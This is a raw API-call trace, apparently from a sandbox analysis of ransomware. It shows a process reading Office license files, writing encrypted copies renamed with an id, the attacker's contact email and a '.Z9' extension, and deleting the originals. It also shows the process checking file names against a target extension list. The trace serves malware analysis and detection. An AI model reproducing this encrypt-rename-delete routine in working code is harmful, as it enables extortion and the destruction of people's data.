	[0173.535] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.538] GetLastError () returned 0x0
	[0173.538] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d5e, lpOverlapped=0x0) returned 1
	[0173.539] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0173.541] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.541] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x116, lpOverlapped=0x0) returned 1
	[0173.541] SetEndOfFile (hFile=0x558) returned 1
	[0173.541] CloseHandle (hObject=0x558) returned 1
	[0173.541] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.541] SetEndOfFile (hFile=0x524) returned 1
	[0173.545] CloseHandle (hObject=0x524) returned 1
	[0173.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1
	[0173.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.546] lstrlenW (lpString=".doc") returned 4
	[0173.546] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.546] lstrlenW (lpString=".docx") returned 5
	[0173.546] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.546] lstrlenW (lpString=".pdf") returned 4
	[0173.546] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.546] lstrlenW (lpString=".xls") returned 4
	[0173.546] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.546] lstrlenW (lpString=".xlsx") returned 5
	[0173.546] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.546] lstrlenW (lpString=".ppt") returned 4
	[0173.546] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.547] lstrlenW (lpString=".zip") returned 4
	[0173.547] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.547] lstrlenW (lpString=".rar") returned 4
	[0173.547] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.547] lstrlenW (lpString=".bz2") returned 4
	[0173.547] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.547] lstrlenW (lpString=".7z") returned 3
	[0173.547] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.547] lstrlenW (lpString=".dbf") returned 4
	[0173.547] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.547] lstrlenW (lpString=".1cd") returned 4
	[0173.547] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.547] lstrlenW (lpString=".jpg") returned 4
	[0173.547] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.547] lstrlenW (lpString=".doc") returned 4
	[0173.547] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.547] lstrlenW (lpString=".docx") returned 5
	[0173.547] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.547] lstrlenW (lpString=".pdf") returned 4
	[0173.547] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.547] lstrlenW (lpString=".xls") returned 4
	[0173.547] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.547] lstrlenW (lpString=".xlsx") returned 5
	[0173.547] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.547] lstrlenW (lpString=".ppt") returned 4
	[0173.547] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.547] lstrlenW (lpString=".zip") returned 4
	[0173.548] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.548] lstrlenW (lpString=".rar") returned 4
	[0173.548] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.548] lstrlenW (lpString=".bz2") returned 4
	[0173.548] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.548] lstrlenW (lpString=".7z") returned 3
	[0173.548] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.548] lstrlenW (lpString=".dbf") returned 4
	[0173.548] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.548] lstrlenW (lpString=".1cd") returned 4
	[0173.548] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0173.548] lstrlenW (lpString=".jpg") returned 4
	[0173.548] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.548] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0173.548] lstrlenW (lpString="AccessVL_KMS_Client-ul.xrm-ms") returned 29
	[0173.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.549] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=9606) returned 1
	[0173.549] CloseHandle (hObject=0x524) returned 1
	[0173.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220
	[0173.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.550] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.550] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.551] GetLastError () returned 0x0
	[0173.551] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2586, lpOverlapped=0x0) returned 1
	[0173.553] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2590, lpOverlapped=0x0) returned 1
	[0173.554] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.554] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x10e, lpOverlapped=0x0) returned 1
	[0173.554] SetEndOfFile (hFile=0x558) returned 1
	[0173.554] CloseHandle (hObject=0x558) returned 1
	[0173.554] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.554] SetEndOfFile (hFile=0x524) returned 1
	[0173.557] CloseHandle (hObject=0x524) returned 1
	[0173.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1
	[0173.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.558] lstrlenW (lpString=".doc") returned 4
	[0173.558] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.558] lstrlenW (lpString=".docx") returned 5
	[0173.558] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.558] lstrlenW (lpString=".pdf") returned 4
	[0173.558] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.558] lstrlenW (lpString=".xls") returned 4
	[0173.558] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.558] lstrlenW (lpString=".xlsx") returned 5
	[0173.558] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.558] lstrlenW (lpString=".ppt") returned 4
	[0173.558] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.558] lstrlenW (lpString=".zip") returned 4
	[0173.558] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.558] lstrlenW (lpString=".rar") returned 4
	[0173.558] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.558] lstrlenW (lpString=".bz2") returned 4
	[0173.558] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.558] lstrlenW (lpString=".7z") returned 3
	[0173.558] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.559] lstrlenW (lpString=".dbf") returned 4
	[0173.559] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.559] lstrlenW (lpString=".1cd") returned 4
	[0173.559] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.559] lstrlenW (lpString=".jpg") returned 4
	[0173.559] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.559] lstrlenW (lpString=".doc") returned 4
	[0173.559] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.559] lstrlenW (lpString=".docx") returned 5
	[0173.559] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.559] lstrlenW (lpString=".pdf") returned 4
	[0173.559] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.559] lstrlenW (lpString=".xls") returned 4
	[0173.559] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.559] lstrlenW (lpString=".xlsx") returned 5
	[0173.559] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.559] lstrlenW (lpString=".ppt") returned 4
	[0173.559] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.559] lstrlenW (lpString=".zip") returned 4
	[0173.559] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.559] lstrlenW (lpString=".rar") returned 4
	[0173.559] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.559] lstrlenW (lpString=".bz2") returned 4
	[0173.559] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.559] lstrlenW (lpString=".7z") returned 3
	[0173.559] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.559] lstrlenW (lpString=".dbf") returned 4
	[0173.559] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.560] lstrlenW (lpString=".1cd") returned 4
	[0173.560] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0173.560] lstrlenW (lpString=".jpg") returned 4
	[0173.560] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.560] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0173.560] lstrlenW (lpString="AccessVL_MAK-pl.xrm-ms") returned 22
	[0173.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.561] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=10623) returned 1
	[0173.561] CloseHandle (hObject=0x524) returned 1
	[0173.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220
	[0173.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.561] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.561] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.562] GetLastError () returned 0x0
	[0173.562] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x297f, lpOverlapped=0x0) returned 1
	[0173.564] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2980, lpOverlapped=0x0) returned 1
	[0173.565] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.565] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x100, lpOverlapped=0x0) returned 1
	[0173.565] SetEndOfFile (hFile=0x558) returned 1
	[0173.566] CloseHandle (hObject=0x558) returned 1
	[0173.566] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.566] SetEndOfFile (hFile=0x524) returned 1
	[0173.570] CloseHandle (hObject=0x524) returned 1
	[0173.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1
	[0173.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.571] lstrlenW (lpString=".doc") returned 4
	[0173.571] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.571] lstrlenW (lpString=".docx") returned 5
	[0173.571] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.571] lstrlenW (lpString=".pdf") returned 4
	[0173.571] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.571] lstrlenW (lpString=".xls") returned 4
	[0173.571] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.571] lstrlenW (lpString=".xlsx") returned 5
	[0173.571] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.571] lstrlenW (lpString=".ppt") returned 4
	[0173.571] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.571] lstrlenW (lpString=".zip") returned 4
	[0173.571] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString=".rar") returned 4
	[0173.572] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString=".bz2") returned 4
	[0173.572] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString=".7z") returned 3
	[0173.572] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.572] lstrlenW (lpString=".dbf") returned 4
	[0173.572] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.572] lstrlenW (lpString=".1cd") returned 4
	[0173.572] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.572] lstrlenW (lpString=".jpg") returned 4
	[0173.572] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.572] lstrlenW (lpString=".doc") returned 4
	[0173.572] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString=".docx") returned 5
	[0173.572] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.572] lstrlenW (lpString=".pdf") returned 4
	[0173.572] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString=".xls") returned 4
	[0173.572] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString=".xlsx") returned 5
	[0173.572] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.572] lstrlenW (lpString=".ppt") returned 4
	[0173.572] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.572] lstrlenW (lpString=".zip") returned 4
	[0173.572] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString=".rar") returned 4
	[0173.572] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.572] lstrlenW (lpString=".bz2") returned 4
	[0173.573] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.573] lstrlenW (lpString=".7z") returned 3
	[0173.573] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.573] lstrlenW (lpString=".dbf") returned 4
	[0173.573] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.573] lstrlenW (lpString=".1cd") returned 4
	[0173.573] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0173.573] lstrlenW (lpString=".jpg") returned 4
	[0173.573] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.573] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0173.573] lstrlenW (lpString="AccessVL_MAK-ppd.xrm-ms") returned 23
	[0173.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.574] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=6729) returned 1
	[0173.574] CloseHandle (hObject=0x524) returned 1
	[0173.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220
